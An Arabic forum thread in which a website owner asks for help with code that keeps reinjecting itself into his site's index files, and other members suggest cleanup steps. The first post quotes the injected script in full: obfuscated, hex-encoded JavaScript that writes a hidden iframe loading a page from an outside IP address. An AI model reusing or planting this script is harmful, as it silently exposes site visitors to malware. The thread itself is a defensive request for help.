فايروس في موقعي آذاني كثيراً

[الحارث]

السلام عليكم ورحمة الله وبركاته

كيف حالكم اخواني

هناك فايروس في موقعي آذاني وآذى زوار موقعي

والفايروس عبارة عن كود قد يكون جافا سكربت يظهر في ملفات موقعي لوحده ، وعندما ازيله يعود ويظهر مره اخرى في ملفات موقعي ولا اعرف ماهو سبب ذلك

وقد اغلقت الموقع لهذا السبب

الكود الذي يظهر هو

<script>
<!--
var d=document,kol=561;
function O10H486FBB514DCF3(H486FBB5150408){ function H486FBB5152AF1() {var H486FBB51554EF=16;return H486FBB51554EF;} return( parseInt(H486FBB5150408,H486FBB5152AF1()));}function H486FBB5157987(H486FBB515A03B){ function H486FBB515EE26() {var H486FBB515F630=2;return H486FBB515F630;} var H486FBB515C713='';for(H486FBB515E924=0; H486FBB515E924<H486FBB515A03B.length; H486FBB515E924+=H486FBB515EE26()){ H486FBB515C713 += ( String.fromCharCode (O10H486FBB514DCF3(H486FBB515A03B.substr(H486FBB515E924, H486FBB515EE26()))));}return H486FBB515C713;} document.write(H486FBB5157987('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313438363635292B273136315C272077696474683D353631206865696768743D323635207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
//-->
</script>

والزوار الذي لديهم كاسبر سكاي يظهر لديهم ان هناك تروجن هورس في الموقع

ارجوا من لديه حل في هذه المشكله ان يخبرنا سريعا

مع العلم ان الموقع اسلامي

[أيمن عبدالله]

حلول سريعه من طرفك :
- ازاله الكود يدويا من كل الملفات
- مسح برنامج الاف تي بي الموجود على جهازك ( غالبا هو السبب المباشر )
- اجراء وقائي : فرمطه جهازك ونسخه ويندوز جديده وبرنامج حمايه قوى
حلول سريعه لمالك السيرفر
- سكان على ملفات السيرفر ( في حاله اصابه اكثر من موقع بهذا الفايروس )

[أحمد الزغبى]

وعليكم السلام ورحمه الله وبركاته

هذا فيروس اخي مصاب به جهازك

يدخل في ملفات الانترنت الـ HTML & PHP

لكي ينشر نفسة لزوار موقعك

قم بفتح اي صفحة انترنت محفوظة لديك وستجد بها اكواد غريبة وهذا معناه ان جهازك مصاب

حاول عمل اسكان فالفيروس لا يدخل الا علي صفحات الانترنت فقط افضل من الفرمتة

والله اعلم

[Nssaf]

اعتقد هذا اسمه الفريم

يدخل على ملفات الاندكس في الموقع

اعط جميع ملفات الاندكس لأي سكربت عندك حتى مجلد الادمن اعط ملف الاندكس اللي فيه التصريح 444

[Gendows Systems]

كان لدى مثل هذا الفايروس مسبقا (فى البداية)

قمت بمسح جميع الملفات من الموقع وفرمتة (اعادة تقسيم للهارد) الجهاز و اخبرت المستضيف بعمل اسكان
ثم قمت بتنصيب الاسكربتات من جديد وكل شئ صار تمام

انما فى حالة ان الموقع نشط
انصحك باخذ نسخة اتياطية من قواعد البيانات والملفات المرفوعة (ملفات تم اضافتها عن طريق تصفح الموقع كالابلود لمواقع التحميل والصور الخ) دون اخذ نسخة من الاسكربتات
وتقوم بعد ذلك بمسح الموقع كاملا وتنصيب نفس موديل ونسخة الاسكربت مرة اخرى واجراء تعديلاتك عليها ثم رفع قاعدة البيانات الى الموقع مرة ثانية

واذا كان هناك حلول افضل اعتقد ان الاخوان هنا لن يقصرو معك

[الحارث]

اشكر جميع المشاركين في هذا الموضوع المهم

الاخ سيف مسلول :
ازلت الكود يدويا واشتغلت من اجهزة ثانيه غير جهازي وعاد الفايروس
يعني 100% العيب ليس من جهازي بل الفايروس على سيرفر الاستضافة
بالنسبة من اني اطلب من المستضيف عمل سكان هذي صعبه شوي لان الاستضافه اللي انا فيها مافي مثل هالخدمات .

الاخ احمد الزغبي :
كما قلت للاخ السيف المسلول اعتقد ان المشكله ليست من جهازي لاني استخدمت اجهزة اخرى والمشكلة مستمرة

الاخ ناصر:
فعلا بالضبط مثل ما قلت الفايروس ينتشر في ملفات الاندكس فقط ،عطيتهم تصريح 444 ولكن المشكلة مازالت مستمرة!!

الاخ Gendows Systems :
اشكرك لمساهمتك
هل تقصد الفورمات لجهازك ام فورمات للسيرفر من جهة المستضيف؟
هو فعلا موقعنا نشيط ولا نريد ايقافه لفترات طويلة

الان الموقع مغلق لثلاث ايام
ومازالت المشكلة مستمرة
http://www.albetaqa.com/

[الحارث]

تقريبا والله اعلم اكتشفت الملفات التي تغير الاندكس وتضع فيه الكود الخبيث

وهي مرفقة مع هذا الرد

واتمنى من اهل الخبره عرض الملفات ومشاهدتها والتعليق عليها

واتمنى ان اعرف كيف رُفِعت على موقعي

وهل من الممكن ان تُرفع مره اخرى

[saudi2007]

هل انتهت مشكلتك ؟

لا اتوقع انها من جهازك لدي على الجهاز عشرات من صفحات الاندكس بداخلها الفريم

المشكلة لم يصيب الا موقع واحد

افحص كل صفحه باسم index. بعد التنظيف

احذف مابداخل هذا المجلد .trash

اعط كل صفحه index لديك تصريح 444

لو محتاج مساعدة هات اميلك وباذن الله نعمل تنظيف سوياً

دمت بخير

[saudi2007]

اخي الملفات المرفقة لم اجدها على الموقع المصاب لدي ابداً

[الحارث]

الاخ saudi2007 شكرا لك على هذا التوضيح

بالنسبة للتصريح غيرته وعادي تغير الاندكس مادري ليش

اما بالنسبة للملفات اللي ارفقتها مو شرط تحصلها في المجلد الرئيسي للموقع يمكن تحصلها داخل احد المجلدات الداخليه

وممكن تحصل الملفات باسماء ثانيه مو شرط بنفس الاسم

انت شوف اي ملف غريب مو انت اللي رافعه ممكن يكون هو

[الحارث]

للاسف ظننت ان الفايروس كان يأتي من الملفات المذكورة في الاعلى

بعد ازالة الملفات عاد الفايروس من جديد

ولكن جربت ان انقل ملفات موقعي على استضافة اخرى ولم يعود الفايروس اليها

هل من تفسير لذلك ، وهل تعتقدون انني اذا نقلت موقعي الى استضافه اخرى لن يعود الفايروس من جديد؟؟

[الحارث]

وجدت حل مؤقت لهذا الفايروس

قمت بتغيير الفولدر الذي به الموقع بهدف تغيير الباث الفيزيائي ، يعني باث الموقع على السيرفر

physical path

وبعد ذلك قمت بازاله الاكواد الخبيثه يدويا

الى الان الوضع مستقر ولله الحمد